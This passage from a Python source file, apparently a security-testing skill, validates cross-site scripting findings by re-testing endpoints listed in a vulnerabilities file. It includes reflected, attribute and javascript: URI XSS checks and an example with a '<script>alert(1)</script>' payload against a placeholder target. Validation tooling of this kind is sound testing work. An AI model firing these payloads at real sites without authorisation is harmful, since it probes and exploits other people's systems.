        result = self.validate_reflected_xss(endpoint, param, payload)

        if result.status == "VALIDATED":
            result.injection_type = "xss_uri_javascript"
            result.cwe = "CWE-84"
            result.evidence = "URI scheme XSS: javascript: protocol accepted"

        return result


def validate_from_vulnerabilities(vulns_file: str, base_url: str) -> list[dict[str, Any]]:
    """
    Validate XSS findings from VULNERABILITIES.json.

    Args:
        vulns_file: Path to VULNERABILITIES.json
        base_url: Base URL of target

    Returns:
        List of validation results
    """
    with open(vulns_file) as f:
        vulns = json.load(f)

    validator = XSSValidator(base_url)
    results = []

    for vuln in vulns:
        if vuln.get("cwe") not in [
            "CWE-79",
            "CWE-80",
            "CWE-81",
            "CWE-83",
            "CWE-84",
            "CWE-85",
            "CWE-86",
            "CWE-87",
        ]:
            continue

        endpoint = vuln.get("endpoint", "/")
        param = vuln.get("param", "q")
        payload = vuln.get("payload", "<script>alert(1)</script>")

        # Determine test type based on CWE
        cwe = vuln.get("cwe", "CWE-79")
        if cwe == "CWE-83":
            result = validator.validate_attribute_xss(endpoint, param)
        elif cwe == "CWE-84":
            result = validator.validate_uri_xss(endpoint, param)
        else:
            result = validator.validate_reflected_xss(endpoint, param, payload)

        results.append(result.to_dict())

    return results


if __name__ == "__main__":
    print("XSS Validator - Example Usage")
    print("=" * 40)
    print(
        """
from validate_xss import XSSValidator

validator = XSSValidator("http://target.com")

# Test reflected XSS
result = validator.validate_reflected_xss(
    endpoint="/search",
    param="q",
    payload="<script>alert(1)</script>"
)
print(result.to_dict())

# Test attribute XSS
result = validator.validate_attribute_xss(
    endpoint="/profile",
    param="name",
    quote_char='"'
)
print(result.to_dict())

# Test URI scheme XSS
result = validator.validate_uri_xss(
    endpoint="/redirect",
    param="url"
)
print(result.to_dict())
    """
    )

```

xss-testing | SkillHub